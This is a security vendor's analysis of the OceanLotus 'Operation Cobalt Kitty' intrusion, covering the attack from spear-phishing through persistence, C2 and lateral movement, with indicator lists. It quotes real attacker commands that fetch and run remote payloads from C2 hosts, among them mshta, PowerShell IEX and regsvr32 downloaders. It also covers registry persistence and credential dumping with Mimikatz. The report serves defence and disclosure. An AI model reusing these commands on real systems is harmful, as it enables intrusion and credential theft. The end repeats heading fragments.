Cybereason Labs Analysis Operation Cobalt Kitty-Part1

Operation Cobalt Kitty
Attack Lifecycle
By: Assaf Dahan
©2016 Cybereason. All rights reserved. 1

Table of Contents
Detailed attack lifecycle
Penetration phase
Fake Flash Installer delivering Cobalt Strike Beacon
Word File with malicious macro delivering Cobalt Strike Beacon
Post infection execution of scheduled task
Establishing foothold
Windows Registry
Windows Services
Scheduled Tasks
Outlook Persistence
C2 Communication
Cobalt Strike Fileless Infrastructure (HTTP)
C&C payloads
Cobalt strike Malleable C2 communication patterns
Variant of Denis Backdoor using DNS Tunneling
Outlook Backdoor Macro as C2 channel
Custom NetCat
Internal reconnaissance
Internal Network Scanning
Information gathering commands
Vulnerability Scanning using PowerSploit
Lateral movement
Obtaining credentials
Mimikatz
Gaining Outlook credentials
Pass-the-hash and pass-the-ticket
Propagation via Windows Admin Shares
Windows Management Instrumentation (WMI)
©2017 Cybereason Inc. All rights reserved. 1

Detailed attack lifecycle
The advanced persistent threat Operation Cobalt Kitty targeted a global corporation and was
carried out by highly skilled and very determined adversaries. This report provides a
comprehensive, step-by-step technical account of how the APT was carried out by the
OceanLotus Group, diving into their work methods throughout APT lifecycle. Like other
reported APTs, this attack “follows” the stages of a classic attack lifecycle (aka cyber kill-chain),
which consists of these phases:
1. Penetration
2. Foothold and persistence
3. Command & control and data exfiltration
4. Internal reconnaissance
5. Lateral movement

1. Penetration phase
The penetration vector in this attack was social engineering, specifically spear-phishing attacks
against carefully selected, high-profile targets in the company. Two types payloads were found
in the spear-phishing emails:
1. Link to a malicious site that downloads a fake Flash Installer delivering Cobalt Strike
Beacon
2. Word documents with malicious macros downloading Cobalt Strike payloads
Fake Flash Installer delivering Cobalt Strike Beacon

The victims received a spear-phishing email using a pretext of applying to a position with the
company. The email contained a link to a redirector site that led to a download link, containing a
fake Flash installer. The fake Flash installer launches a multi-stage fileless infection process.
This technique of infecting a target with an fake Flash installer is consistent with the OceanLotus
Group and has been documented in the past.

Download Cobalt Strike payload - The fake Flash installer downloads an encrypted payload
with shellcode from the following URL: hxxp://110.10.179(.)65:80/ptF2
Word File with malicious macro delivering Cobalt Strike Beacon

Other types of spear-phishing emails contained Microsoft Office Word attachments with different
file names, such as CV.doc and Complaint_Letter.doc.
The malicious macro creates two scheduled tasks that download files camouflaged as “.jpg”
files from the C&C server:
Scheduled task 1:

Scheduled task 2:
The two scheduled tasks are created on infected Windows machines:
Post infection execution of scheduled task

Example 1: Fileless downloader delivers Cobalt Strike Beacon
The purpose of the scheduled task is to download another payload from the C&C
server:
schtasks /create /sc MINUTE /tn "Windows Error Reporting" /tr "mshta.exe about:'<script
language=\"vbscript\" src=\"hxxp://110.10.179(.)65:80/download/microsoftp.jpg\">code close</script>'"
/mo 15 /F
The content of the “microsoftp.jpg” is a script that combines vbscript and PowerShell:
SHA-1: 23EF081AF79E92C1FBA8B5E622025B821981C145
That downloads and executes an additional payload from the same server with a slightly
different name “microsoft.jpg”.
Obfuscated PowerShell delivering Cobalt Strike Beacon - The contents of the

“microsoft.jpg” file is, in fact, an obfuscated PowerShell payload (obfuscated with Daniel
Bohannon’s Invoke-obfuscation).
microsoft.jpg, SHA-1: C845F3AF0A2B7E034CE43658276AF3B3E402EB7B
Quick memory analysis of the payload reveals that it is a Cobalt Strike Beacon, as seen in the
strings found in the memory of the PowerShell process:
Example 2: Additional Cobalt Strike delivery method
Cybereason observed another method of Cobalt Strike Beacon delivery in infected machines.
Once the initial PowerShell payload is downloaded from the server, it will pass an obfuscated
and XOR’ed PowerShell payload to cmd.exe:
The payload is decrypted to the following PowerShell downloader one-liner:

IEX ((new-object net.webclient).downloadstring(‘hxxp://27.102.70(.)211:80/image.jpg'))
The PowerShell process will then download the new ‘image.jpg’ payload, which is actually
another obfuscated PowerShell payload:
image.jpg - 9394B5EF0B8216528CED1FEE589F3ED0E88C7155

Once executed by PowerShell, the embedded script was identified as Cobalt Strike Beacon:
2. Establishing foothold
Gaining persistence is one of the attack’s most important phases. It insures that the malicious
code will run automatically and survive machine reboots.
The attackers used trivial but effective persistence techniques to ensure that their malicious
tools executed constantly on the infected machines. Those techniques consist of:
● Windows Registry Autorun
● Windows Services
● Windows Scheduled Tasks
2.1. Windows Registry
The attackers used the Windows Registry Autorun to execute VBScript and PowerShell scripts
residing in the ProgramData folder, which is hidden by default:
HKU\[redacted]\Software\Microsoft\Windows\CurrentVersion\Run\Java Update Schedule Check

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\syscheck
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\DHCP Agent
HKU\[redacted]\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activation Checker
HKU\[redacted]\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Update
Examples of the values of the above registry keys:
The purpose of those .vbs scripts was to launch Cobalt Strike PowerShell scripts mainly
consisting of Cobalt Strike Beacon. Some of the files found in ProgramData appear to be .txt
files. However, their content is VBscript.
In addition, the attackers used NTFS Alternate Data Stream to hide their payloads. This is a
rather old trick to hide data from the unsuspecting users and security solutions.
The code inside the ‘hidden’ .txt file launches a PowerShell process with a base64-encoded
command:
This PowerShell commands decodes to:

Invoke-Expression C:\ProgramData\Microsoft\SndVolSSO.ps1
This launches a PowerShell script, which loads an obfuscated and encoded Cobalt Strike’s
beacon payload:
2.2. Windows Services
The attackers created and/or modified Windows Services to ensure the loading of the
PowerShell scripts on the compromised machines. These scripts are mostly PowerShell-
encoded Cobalt Strike’s Beacon payloads:
Backdoor exploits DLL hijacking against Wsearch Service
According to Microsoft’s documentation, Windows Search Service (Wsearch), which is a default

component in Windows OS, runs automatically. Once Wsearch starts, it launches
SearchIndexer.exe and SearchProtocolHost.exe applications. These applications are vulnerable
to “Phantom DLL Hijacking” and were exploited in other targeted attacks.
The attackers placed a fake “msfte.dll” under the system32 folder, where the vulnerable
applications reside by default. This ensured that the fake “msfte.dll” would be loaded each time
Wsearch launched these applications:
For further details about the backdoor, please refer to Cobalt Kitty Attacker’s Arsenal: Deep dive
into the tools used in the APT.
2.3. Scheduled Tasks

The attackers used scheduled tasks to ensure the malicious payloads ran in predetermined
timeframes:
PowerShell Loader:
Google Update:
The attackers exploited a DLL hijacking vulnerability in a legitimate Google Update binary,
which was deployed along with a malicious DLL (goopdate.dll). By default, GoogleUpdate.exe
creates a scheduled task that checks if a new version of Google products is available.
As a result, each time GoogleUpdate.exe application ran, it automatically loaded the malicious
goopdate.dll:
For further details about the backdoor, please refer to Cobalt Kitty Attacker’s Arsenal: Deep dive
into the tools used in the APT.
2.4. Outlook Persistence

The attackers used a malicious Outlook backdoor macro to communicate with the C2 servers
and exfiltrate data. To make sure the malicious macro ran, they edited a specific registry value
to create persistence:
/u /c REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Office\14\Outlook" /v

"LoadMacroProviderOnBoot" /f /t REG_DWORD /d 1

3. C2 Communication
The attackers used different techniques and protocols to communicate with the C&C servers:
3.1. Cobalt Strike Fileless Infrastructure (HTTP)

The attackers chose to implement a multi-stage payload delivery infrastructure in the first phase
of the attack. The motivation for fileless operation is clear: this approach has a low forensic
footprint since most of the payloads are downloaded from the C&C and executed in-memory
without touching the disk.
Multi-Stage Payload Delivery

PowerShell downloader
A PowerShell one-liner downloads and executes a PowerShell payload from the C&C server.
Regsvr32.exe downloader command (COM Scriptlet)

The fileless infrastructure also used another type of downloader, which is based on COM
scriptlets (.sct). This technique is well documented and has been used extensively in the last
year.
The attackers downloaded COM scriptlets using regsvr32.exe:

regsvr32 /s /n /u /i:hxxp://support.chatconnecting(.)com:80/pic.png scrobj.dll
C&C payloads
Following are a few examples of C&C payloads used as part of the fileless payload delivery
infrastructure.
Example 1: Second Stage PowerShell Script

This .txt file is actually a base64-encoded PowerShell payload that contains a shellcode:

File Name: login.txt, SHA-1: 9f95b81372eaf722a705d1f94a2632aad5b5c180
The shellcode downloads additional payload from the URL: hxxp://food(.)letsmiles(.)org/9niL

Example 2: Second Stage COM Scriptlet Payload
The regsvr32.exe downloader command downloads the following COM scriptlet, which contains
an embedded shellcode:
File Name: pic.png, SHA-1: f3e27ad08622060fa7a3cc1c7ea83a7885560899
The shellcode downloads a payload from the following URL:

hxxp://45(.)114.117.137/eXYF
Final payload: Cobalt Strike Beacon

Analysis of the final stage payloads (such as “9niL” / “eXYF”) clearly shows that they are Cobalt
Strike Beacons:

3.2. Cobalt strike Malleable C2 communication
patterns
Another confirmation that the attackers used Cobalt Strike’s infrastructure came from the
analysis of the network traffic. The analyzed traffic matched Cobalt Strike’s Malleable C2.
The attackers used the Amazon, Google Safe Browsing, Pandora and OSCP profiles in this
attack, all of which are publicly available in Github:
https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/safebrowsing.profile
https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile
https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/pandora.profile
https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/oscp.profile
A .pcap file that was recorded during the execution of the Cobalt Strike payloads clearly shows
the usage of the Malleable C2 profiles, in that case - the “safebrowsing.profile”:

Another example is the Amazon profile, generated by another Cobalt Strike payload:
3.3. Variant of Denis Backdoor using DNS Tunneling

During the investigation, an analysis of the backdoor’s traffic revealed that the attackers
implemented DNS tunneling channel for C2 communication and data exfiltration. The DNS
tunneling channel was observed being used by the PowerShell payloads as well as the fake
DLLs (msfte.dll and goopdate.dll). In attempt to disguise the real IP/domain of the C&C server,
the backdoor communicates with the following DNS servers instead of communicating directly
with the C&C servers:
Google DNS server: 8.8.8.8
OpenDNS server: 208.67.222.222
By communicating with known DNS servers, the attackers ensured that the backdoor’s traffic
will not be filtered by firewalls and other security products since it’s unlikely for most
organizations to block OpenDNS and Google’s DNS servers.
Example of DNS tunneling can be seen in this instance of ARP.exe that was spawned by
searchindexer.exe, which loaded the fake msfte.dll:

Upon inspection of the DNS traffic, the real C&C domain is revealed inside the DNS queries:
Real C&C domain: z.teriava(.)com

3.4. Outlook Backdoor Macro as C2 channel
During the third phase of the attack, the attackers used an advanced technique that turned
Microsoft Outlook into a C2 channel by replacing the email program’s original VbaProject.OTM
macro container with a malicious one containing a backdoor functionality. Using this backdoor,
the attackers managed to send system commands via emails from a Gmail address and
exfiltrate data.
The decoded malicious macro is loaded after boot and constantly looks for incoming emails
containing the strings $$cpte and $$ecpte.
The attacker’s command embed their commands between those two strings.
The same technique was used to steal and exfiltrate sensitive company data, as seen in the
screenshots below:
Outlook spawns two cmd.exe shells:
The command lines of the following cmd.exe instances clearly show that the attackers were
gathering information and exfiltrating specific documents:
cmd.exe /C “ ipconfig > %temp%.log.txt

cmd.exe /C “ c:\Users\[redacted]\Desktop\[Redacted_File_name].xls %temp%”
3.5. Custom NetCat

Another C2 communication tool used by the attackers was a custom version of the famous
Netcat tool (aka, tcp/ip Swiss Army knife) from GitHub. Using the previously installed backdoor,
the attackers uploaded and executed this customized version of NetCat on several machines:

The NetCat binary was renamed “kb-10233.exe”, masquerading as a Windows update, in order
to look less suspicious. The sample’s SHA-1 hash is:
c5e19c02a9a1362c67ea87c1e049ce9056425788,
which is the exact match to the customized version of Netcat found on Github.
In addition, examining the command line arguments reveals that the attackers also were aware
of the proxy server deployed in the environment and configured the IP and port accordingly to
allow them external connection to the C&C server:
4. Internal reconnaissance
After the attackers established a foothold on the compromised machines and established C2
communication, they scanned the network, enumerated machines and users and gathered more
information about the environment.
4.1. Internal Network Scanning

During the attack, Cybereason observed network scanning against entire ranges as well as
specific machines. The attackers were looking for open ports, services, OS finger-printing and
common vulnerabilities:
Cybereason detected the following PowerShell instance with an Base64 encoded command:
powershell -nop -exec bypass -EncodedCommand
"SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbA
BpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB
0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAyADQANwA5ADIALwAnACkAOwAg
AFMAYwBhAG4AIAAxADkAMgAuADEANgA4AC4AOAAuADAALQAyADUANAAgAC0AbwBzA
CAALQBzAGMAYQBuAHAAbwByAHQAIAAgACAAIAAgACAAIAAgACAAIAAgAA=="
Decoded Base64 PowerShell command:

IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:24792/'); Scan 192.168.x.x-
254 -os –scanport
As the screenshot below shows, the attackers launched port scanning against common ports:
4.2. Information gathering commands

The attackers used several tools built into the Windows OS to gather information on the
environment’s network and its users. Those tools included netsh, ipconfig, netstat, arp, net
user/group/localgroup, nslookup and Windows Management Instrumentation (WMI).
The following are a few examples of command line arguments that were used to gather
information on the infected hosts and the network:
Command Purpose
net localgroup administrators Enumerating admin users
net group "Domain Controllers" /domain Enumerating DC servers
klist tickets Displaying Kerberos Tickets
dir \\[IP_redacted]\c$ Displaying files on net share
netstat -anpo tcp Displaying TCP connections
ipconfig /all Displaying Network adapter information
ping [hostname_redacted] -n 1 Pinging a host
net view \\[redacted] /all Shows all shares available, including
administrative shares like C$ and admin$
netsh wlan show interface Displaying Wireless adapter properties
route print Displaying a list of persistent routes
WHOAMI Outputs the owner of the current login session
(local, admin, system)
WMIC path win32_process get Searching for the process ID of OUTLOOK, in
Caption,Processid,Commandline | findstr order to restart it, so it would load the
OUTLOOK malicious vbaproject.otm file
4.3. Vulnerability Scanning using PowerSploit
Once the Cobalt Strike Beacon was installed, the attackers attempted to find privilege escalation
vulnerabilities that they could exploit on the compromised hosts. The following example shows a
command that was run by a spawned PowerShell process:
powershell -nop -exec bypass -EncodedCommand

"SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAb
gB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AM
QAyADcALgAwAC4AMAAuADEAOgAyADUAMwA4AC8AJwApADsAIABJAG4AdgBvAGsAZQAtAEEAbA
BsAEMAaABlAGMAawBzAA=="
The encoded command decodes to -

IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:2538/'); Invoke-AllChecks
The Invoke-AllChecks command is indicative to the PowerUp privilege escalation “scanner”,

which is part of the PowerSploit project.
5. Lateral movement
The attackers compromised more than 35 machines, including the Active Directory server, by
using common lateral movement techniques including pass-the-hash and pass-the-ticket and
Windows applications such as net.exe and WMI.
5.1. Obtaining credentials

Before the attackers could spread to new machines, they had to obtain the necessary
credentials, such as passwords, NTLM hashes and Kerberos tickets. To obtain these
credentials, the attackers used various, known tools to dump locally stored credentials.
The attackers mainly used Mimikatz, which was customized in a way that ensured antivirus
products wouldn’t detect it.
Other tools used to obtain credentials included:

● Modified Window’s Vault Password Dumper - A PowerShell version of a known
password dumping tool, which was modified in order to accommodate additional
functionality and to evade antivirus.
● Hook Password Change - Modified version of the a tool found on Github. This tool
alerts the attackers if passwords are changed by hooking specific functions in the
Windows OS. This provided the attackers a workaround to the frequent password resets
ordered by the IT department during the attack.
5.1.1. Mimikatz
The main tool used to obtain credentials from the compromised machines was a obfuscated and
sometimes slightly modified versions of Mimikatz, a known password dumping tool, whose
source code is freely available on GitHub. The attackers used at least 14 different versions of
Mimikatz using different techniques to evade antivirus detection:

The following screenshot shows examples of the command line arguments indicative of
Mimikatz that were that were used in the attack:
5.1.2. Gaining Outlook credentials

In addition to Windows account credentials, the attackers also targeted the Outlook credentials
of selected high-profile employees. The attackers modified a known password dumper in order
to make it more Outlook-oriented. The binary version of this tool is detected by most antivirus
vendors so the attackers ported it to PowerShell, making it stealthier. However, in order to use
the PowerShell version, the attackers had to overcome measures that were put in place to
restrict PowerShell execution.
The attackers used a modified version of a publicly available tool called PSUnlock to bypass the
PowerShell execution restrictions. Here’s an example of this tool being used:
rundll32 C:\ProgramData\PShdll35.dll,main -f C:\ProgramData\doutlook.ps1
The purpose of the doutlook.ps1 (SHA-1: ebdd6059da1abd97e03d37ba001bad4aa6bcbabd)

script becomes very clear when observing the memory strings of the Rundll32.exe process:
5.2. Pass-the-hash and pass-the-ticket

Cybereason detected multiple lateral movement techniques that were used during the attack.
The attackers successfully carried out pass-the-hash and pass-the-ticket attacks using stolen
NTLM hashes and Kerberos tickets from compromised machines.
The attackers managed to compromise a domain admin account. Using the compromised
administrative account, the attackers moved laterally, deployed their tools and mass-infected
other machines. More instances of lateral movements were observed using other compromised
accounts during the different stages of the attack.
Example 1: Deploying Mimikatz on remote machines

The attackers deployed a customized Mimikatz using stolen credentials from an administrative
account, which they used to carry out a pass-the-hash attack:

Example 2: Gaining remote access using pass-the-ticket attack
5.3. Propagation via Windows Admin Shares

Another lateral movement technique that was used extensively in the attack involved using the
Windows Admin Shares via the built-in Windows “net.exe” tool. This technique uses Windows’
hidden network shares, which administrators can only access and use to copy their tools to
remote machines and execute them.

The screenshot below show an example of this technique being used in the attack:
5.4. Windows Management Instrumentation (WMI)

The attackers used a well-documented lateral movement technique that abuses Windows
Management Instrumentation (WMI) and “Net User” commands to deploy their tools on remote
machines.
Example: Infecting other machines with Denis backdoor

Using WMI and the stolen credentials, the attackers copied the backdoor DLL (msfte.dll) to the
target machine:
To ensure that the fake msfte.dll will be loaded by SearchIndexer.exe / SearchProtocolHost.exe

processes, the attackers had to restart the Wsearch service.
Stopping the Wsearch service
Starting the Wsearch service

Once the service is started again, the malicious msfte.dll will be loaded by the
searchindexer.exe application:

Indicators of Compromise (IOCs)
Malicious files
Backdoors
File name SHA-1 hash
Msfte.dll be6342fc2f33d8380e0ee5531592e9f676bb1f94
------------- 638b7b0536217c8923e856f4138d9caff7eb309d
Variant of dcbe007ac5684793ea34bf27fdaa2952c4e84d12
Backdoor.Win32.Denis 43b85c5387aafb91aea599782622eb9d0b5b151f
Goopdate.dll 9afe0ac621c00829f960d06c16a3e556cd0de249
----------------- 973b1ca8661be6651114edf29b10b31db4e218f7
Goopy backdoor 1c503a44ed9a28aad1fa3227dc1e0556bbe79919
2e29e61620f2b5c2fd31c4eb812c84e57f20214a
c7b190119cec8c96b7e36b7c2cc90773cffd81fd
185b7db0fec0236dff53e45b9c2a446e627b4c6a
ef0f9aaf16ab65e4518296c77ee54e1178787e21
product_info.dll 3cf4b44c9470fb5bd0c16996c4b2a338502a7517
[Backdoor exploiting DLL-hijacking
against Kaspersky Avpia]
VbaProject.OTM 320e25629327e0e8946f3ea7c2a747ebd37fe26f
[Outlook Macro]
sunjavascheduler.ps1 0d3a33cb848499a9404d099f8238a6a0e0a4b471
sndVolSSO.ps1 c219a1ac5b4fd6d20a61bb5fdf68f65bbd40b453
91e9465532ef967c93b1ef04b7a906aa533a370e
SCVHost.ps1
fhsvcs.ps1
Goztp.ps1
[PowerShell versions of the Denis

/ Goopy backdoors]
Cobalt Strike Beacons

dns.exe cd675977bf235eac49db60f6572be0d4051b9c07
msfte.dll 2f8e5f81a8ca94ec36380272e36a22e326aa40a4
FVEAPI.dll 01197697e554021af1ce7e980a5950a5fcf88318
sunjavascheduler.ps1 7657769f767cd021438fcce96a6befaf3bb2ba2d
syscheck.ps1 Ed074a1609616fdb56b40d3059ff4bebe729e436
dns.ps1 D667701804CA05BB536B80337A33D0714EA28129
activator.ps1 F45A41D30F9574C41FE0A27CB121A667295268B2
7F4C28639355B0B6244EADBC8943E373344B2E7E
nvidia.db
Malicious Word Documents

***Some of the phishing emails and Word documents were very targeted and
personalized, therefore, they are not listed here for privacy reasons
CV.doc [redacted]
Complaint letter.doc
License Agreement.doc
Loader scripts
syscheck.vbs 62749484f7a6b4142a2b5d54f589a950483dfcc9
SndVolSSO.txt cb3a982e15ae382c0f6bdacc0fcecf3a9d4a068d

sunjavascheduler.txt 7a02a835016bc630aa9e20bc4bc0967715459daa
Obfuscated / customized Mimikatz
dllhosts.exe 5a31342e8e33e2bbe17f182f2f2b508edb20933f
23c466c465ad09f0ebeca007121f73e5b630ecf6
14FDEF1F5469EB7B67EB9186AA0C30AFAF77A07C
KB571372.ps1 7CADFB90E36FA3100AF45AC6F37DC55828FC084A
KB647152.exe 7BA6BFEA546D0FC8469C09D8F84D30AB0F20A129
KB647164.exe BDCADEAE92C7C662D771507D78689D4B62D897F9
kb412345.exe e0aaa10bf812a17bb615637bf670c785bca34096
kb681234.exe 4bd060270da3b9666f5886cf4eeaef3164fad438
System.exe 33cb4e6e291d752b9dc3c85dfef63ce9cf0dbfbc
550f1d37d3dd09e023d552904cdfb342f2bf0d35
decoded base64 c0950ac1be159e6ff1bf6c9593f06a3f0e721dd4

Mimikatz payload
Customized credential dumpers

log.exe 7f812da330a617400cb2ff41028c859181fe663f
[GetPassword_x64]
SRCHUI.dll 29BD1BAC25F753693DF2DDF70B83F0E183D9550D
adrclients.dll FC92EAC99460FA6F1A40D5A4ACD1B7C3C6647642
[HookPasswordChange]
KB471623.exe 6609A347932A11FA4C305817A78638E07F04B09F
[Custom password dumper]
doutlook.ps1 EBDD6059DA1ABD97E03D37BA001BAD4AA6BCBABD
adobe.dat B769FE81996CBF7666F916D741373C9C55C71F15
adrclients.ps1 E64C2ED72A146271CCEE9EE904360230B69A2C1D
[Custom password dumper]
Miscellaneous tools
pshdll35.dll 52852C5E478CC656D8C4E1917E356940768E7184
pshdll40.dll EDD5D8622E491DFA2AF50FE9191E788CC9B9AF89
[PSUnlock - PowerShell Bypass
tool]
KB-10233.exe C5e19c02a9a1362c67ea87c1e049ce9056425788
kb74891.exe 0908a7fbc74e32cded8877ac983373ab289608b3
[NetCat]
IP.exe 6aec53554f93c61f4e3977747328b8e2b1283af2
cmd.exe
dllhost.exe
[IP check Tool]
Payloads from C&C servers
URL Payload SHA-1 hash

hxxp://104.237.218(.)67:80/icon.ico 6dc7bd14b93a647ebb1d2eccb752e750c4ab6b09
hxxp://support.chatconnecting(.)com:80/icon.ico c41972517f268e214d1d6c446ca75e795646c5f2
hxxp://food.letsmiles(.)org/login.txt 9f95b81372eaf722a705d1f94a2632aad5b5c180
hxxp://food.letsmiles(.)org/9niL 5B4459252A9E67D085C8B6AC47048B276C7A6700
hxxp://23.227.196(.)210:80/logscreen.jpg d8f31a78e1d158032f789290fa52ada6281c9a1f
50fec977ee3bfb6ba88e5dd009b81f0cae73955e
hxxp://45.114.117(.)137/eXYF D1E3D0DDE443E9D294A39013C0D7261A411FF1C4
91BD627C7B8A34AB334B5E929AF6F981FCEBF268
hxxp://images.verginnet(.)info:80/ppap.png F0A0FB4E005DD5982AF5CFD64D32C43DF79E1402
hxxp://176.107.176(.)6/QVPh 8FC9D1DADF5CEF6CFE6996E4DA9E4AD3132702C
hxxp://108.170.31(.)69/a 4a3f9e31dc6362ab9e632964caad984d1120a1a7
hxxp://support(.)chatconnecting(.)com/pic.png bb82f02026cf515eab2cc88faa7d18148f424f72
hxxp://blog.versign(.)info/access/?version=4&lid=[reda 9e3971a2df15f5d9eb21d5da5a197e763c035f7a
cted]&token=[redacted]
hxxp://23.227.196(.)210/6tz8 bb82f02026cf515eab2cc88faa7d18148f424f72
hxxp://23.227.196(.)210/QVPh 8fc9d1dadf5cef6cfe6996e4da9e4ad3132702c5
hxxp://45.114.117(.)137/3mkQ 91bd627c7b8a34ab334b5e929af6f981fcebf268
hxxp://176.223.111(.)116:80/download/sido.jpg 5934262D2258E4F23E2079DB953DBEBED8F07981
hxxp://110.10.179(.)65:80/ptF2 DA2B3FF680A25FFB0DD4F55615168516222DFC10
hxxp://110.10.179(.)65:80/download/microsoftp.jpg 23EF081AF79E92C1FBA8B5E622025B821981C145
hxxp://110.10.179(.)65:80/download/microsoft.jpg C845F3AF0A2B7E034CE43658276AF3B3E402EB7B

hxxp://27.102.70(.)211:80/image.jpg 9394B5EF0B8216528CED1FEE589F3ED0E88C7155
C&C IPs
45.114.117(.)137
104.24.119(.)185
104.24.118(.)185
23.227.196(.)210
23.227.196(.)126
184.95.51(.)179
176.107.177(.)216
192.121.176(.)148
103.41.177(.)33
184.95.51(.)181
23.227.199(.)121
108.170.31(.)69
104.27.167(.)79
104.27.166(.)79
176.107.176(.)6
184.95.51(.)190
176.223.111(.)116
110.10.179(.)65
27.102.70(.)211
C&C Domains
food.letsmiles(.)org
help.chatconnecting(.)com
*.letsmiles(.)org
support.chatconnecting(.)com
inbox.mailboxhus(.)com
blog.versign(.)info
news.blogtrands(.)net
stack.inveglob(.)net
tops.gamecousers(.)com
nsquery(.)net
tonholding(.)com
cloudwsus(.)net
nortonudt(.)net
teriava(.)com
tulationeva(.)com

vieweva(.)com
notificeva(.)com
images.verginnet(.)info
id.madsmans(.)com
lvjustin(.)com
play.paramountgame(.)com
Appendix A: Threat actor payloads caught in the wild

Domain Details VirusTotal
inbox.mailboxhus(.)com File name: Flash.exe Link

support.chatconnecting(.)com SHA-1: 01ffc3ee5c2c560d29aaa8ac3d17f0ea4f6c0c09
Submitted: 2016-12-28 09:51:13
(45.114.117.137)
inbox.mailboxhus(.)com File name: Flash.exe Link

support.chatconnecting(.)com SHA-1:
562aeced9f83657be218919d6f443485de8fae9e
(45.114.117[.]137) Submitted: 2017-01-18 19:00:41
support.chatconnecting(.)com URL: hxxp://support(.)chatconnecting.com/2nx7m Link

Submitted: 2017-01-20 10:11:47
(45.114.117[.]137)
support.chatconnecting(.)com File name: ID2016.doc Link

SHA-1: bfb3ca77d95d4f34982509380f2f146f63aa41bc
(45.114.117[.]137) Submitted: 2016-11-23 08:18:43
Malicious Word document (Phishing text in Vietnamese)
blog(.)versign(.)info File name: tx32.dll Link

SHA-1:
(23.227.196[.]210) 604a1e1a6210c96e50b72f025921385fad943ddf
Submitted: 2016-08-15 04:04:46
blog(.)versign(.)info File name: Giấy yêu cầu bồi thường mới 2016 - Hằng.doc
SHA-1: Link
(23.227.196[.]210) a5bddb5b10d673cbfe9b16a062ac78c9aa75b61c
Submitted: 2016-10-06 11:03:54
Malicious Word document with Phishing text in

Vietnamese

blog(.)versign(.)info File name: Thong tin.doc Link
SHA-1: a5fbcbc17a1a0a4538fd987291f8dafd17878e33
(23.227.196[.]210) Submitted: 2016-10-25
Malicious Word document with Phishing text in

Vietnamese
Images.verginnet(.)info File name: WinWord.exe Link

SHA-1:
id.madsmans(.)com ea67b24720da7b4adb5c7a8a9e8f208806fbc198
Submitted:
(176.107.176[.]6)
Cobalt Strike payload
Downloads hxxp://images.verginnet(.)info/2NX7M
Using Cobalt Strike malleable c2 oscp profile
tonholding(.)com File name: SndVolSSO.exe Link

nsquery(.)net SHA-1: 1fef52800fa9b752b98d3cbb8fff0c44046526aa
Submitted: 2016-08-01 09:03:58
Denis Backdoor Variant
tonholding(.)com File name: Xwizard / KB12345678.exe Link

nsquery(.)net SHA-1:
d48602c3c73e8e33162e87891fb36a35f621b09b
Submitted: 2016-08-01
teriava(.)com File name: CiscoEapFast.exe Link

SHA-1:
77dd35901c0192e040deb9cc7a981733168afa74
Submitted: 2017-02-28 16:37:12
Denis Backdoor Variant
Appendix B: Denis Backdoor samples in the wild

File name SHA-1 Domain
msprivs.exe 97fdab2832550b9fea80ec1b9 teriava(.)com

c182f5139e9e947
WerFault.exe F25d6a32aef1161c17830ea0c teriava(.)com

b950e36b614280d
msprivs.exe 1878df8e9d8f3d432d0bc8520 teriava(.)com

595b2adb952fb85
CiscoEapFast.exe 1a2cd9b94a70440a962d9ad7 teriava(.)com,

094.exe 8e5e46d7d22070d0 tulationeva(.)com,

notificeva(.)com
CiscoEapFast.exe 77dd35901c0192e040deb9cc teriava(.)com,

7a981733168afa74 tulationeva(.)com,
notificeva(.)com
SwUSB.exe 88d35332ad30964af4f55f1e44 gl-appspot(.)org

F:\malware\Anh c951b15a109832 tonholding(.)com
Dương\lsma.exe nsquery(.)net
Xwizard.exe d48602c3c73e8e33162e8789 tonholding(.)com

KB12345678.exe 1fb36a35f621b09b nsquery(.)net
SndVolSSO.exe 1fef52800fa9b752b98d3cbb8ff tonholding(.)com

f0c44046526aa nsquery(.)net

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Cybereason Labs Analysis Operation Cobalt Kitty-Part1

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Cybereason Labs Analysis Operation Cobalt Kitty-Part1

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Operation Cobalt Kitty

©2016 Cybereason. All rights reserved. 1

©2017 Cybereason Inc. All rights reserved. 1

©2017 Cybereason Inc. All rights reserved. 2

Fake Flash Installer delivering Cobalt Strike Beacon

©2017 Cybereason Inc. All rights reserved. 3

Word File with malicious macro delivering Cobalt Strike Beacon

©2017 Cybereason Inc. All rights reserved. 4

The two scheduled tasks are created on infected Windows machines:

Post infection execution of scheduled task

Obfuscated PowerShell delivering Cobalt Strike Beacon - The contents of the

microsoft.jpg, SHA-1: C845F3AF0A2B7E034CE43658276AF3B3E402EB7B

Example 2: Additional Cobalt Strike delivery method

The payload is decrypted to the following PowerShell downloader one-liner:

©2017 Cybereason Inc. All rights reserved. 7

HKU\[redacted]\Software\Microsoft\Windows\CurrentVersion\Run\Java Update Schedule Check

Examples of the values of the above registry keys:

This PowerShell commands decodes to:

Backdoor exploits DLL hijacking against Wsearch Service

According to Microsoft’s documentation, Windows Search Service (Wsearch), which is a default

2.3. Scheduled Tasks

2.4. Outlook Persistence

/u /c REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Office\14\Outlook" /v

©2017 Cybereason Inc. All rights reserved. 12

3.1. Cobalt Strike Fileless Infrastructure (HTTP)

Multi-Stage Payload Delivery

©2017 Cybereason Inc. All rights reserved. 13

Regsvr32.exe downloader command (COM Scriptlet)

The attackers downloaded COM scriptlets using regsvr32.exe:

Example 1: Second Stage PowerShell Script

©2017 Cybereason Inc. All rights reserved. 14

The shellcode downloads additional payload from the URL: hxxp://food(.)letsmiles(.)org/9niL

©2017 Cybereason Inc. All rights reserved. 15

